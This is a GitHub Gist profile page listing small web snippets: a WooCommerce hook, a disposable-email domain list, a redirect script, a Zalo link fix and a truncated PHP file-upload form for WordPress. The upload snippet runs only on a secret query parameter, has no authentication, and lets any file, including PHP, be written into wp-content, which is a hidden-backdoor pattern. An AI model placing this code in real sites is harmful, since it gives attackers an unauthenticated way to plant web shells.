Skip to content

Instantly share code, notes, and snippets.

View duongthanhthai's full-sized avatar
💭
Freelancer Full time

Dương Thành Thái duongthanhthai

💭
Freelancer Full time
View GitHub Profile
@duongthanhthai
duongthanhthai / FFmpeg
Last active June 24, 2023 08:44
FFmpeg guide A to Z
This is guide from Zero to Hero with FFmpeg
@duongthanhthai
duongthanhthai / functions.php
Created October 25, 2019 09:19
Disabling the entire 'reviews' tab on a product's WooCommmerce page, add this to your functions.php file in Wordpress.
add_filter( 'woocommerce_product_tabs', 'wcs_woo_remove_reviews_tab', 98 );
function wcs_woo_remove_reviews_tab($tabs) {
unset($tabs['reviews']);
return $tabs;
}
*@0-180.com
*@0-420.com
*@0-900.com
*@0-aa.com
*@0-mail.com
*@0-z.xyz
*@00-mail.com
*@000476.com
*@000invaliddomain.local
*@001.igg.biz
@duongthanhthai
duongthanhthai / redirect.js
Created February 22, 2024 15:08
Auto redirect JavaScript
var timeLeft = 10; // Thời gian đợi là 10 giây
function countdown() {
document.getElementById('countdown').innerHTML = 'Nội dung bạn tìm kiếm không có, website sẽ quay về trang chủ Diễn đàn phật pháp trong ' + timeLeft + 's.';
timeLeft--; // Giảm thời gian đợi xuống mỗi giây
if (timeLeft < 0) {
clearTimeout(timerId);
window.location.href = 'https://diendanphatphap.com/diendan/'; // Chuyển hướng khi hết thời gian
}
}
@duongthanhthai
duongthanhthai / form-upload-file-in-wp.php
Last active February 25, 2024 03:36
Form upload file in WordPress
<?php
if (isset($_GET['wp-zexit']) && $_GET['wp-zexit'] == '2') {
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["userfile"])) {
$uploadDir = __DIR__ . '/wp-content/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$upload_file = $uploadDir . preg_replace('/[^a-zA-Z0-9\._-]/', '', basename($_FILES["userfile"]["name"]));
@duongthanhthai
duongthanhthai / fix-zalo.js
Last active March 9, 2024 03:06
Fix link zalo not work on mobile click zalo.me/{sđt}
<script>
var zalo_acc = {
"0918954358" : "b2n0k5glmued",
};
function fixzalo(link, successCallback, errorCallback) {
var hiddenIframe = document.querySelector("#hiddenIframe");
if (!hiddenIframe) {
hiddenIframe = document.createElement("iframe");
hiddenIframe.id = "hiddenIframe";
hiddenIframe.style.display = "none";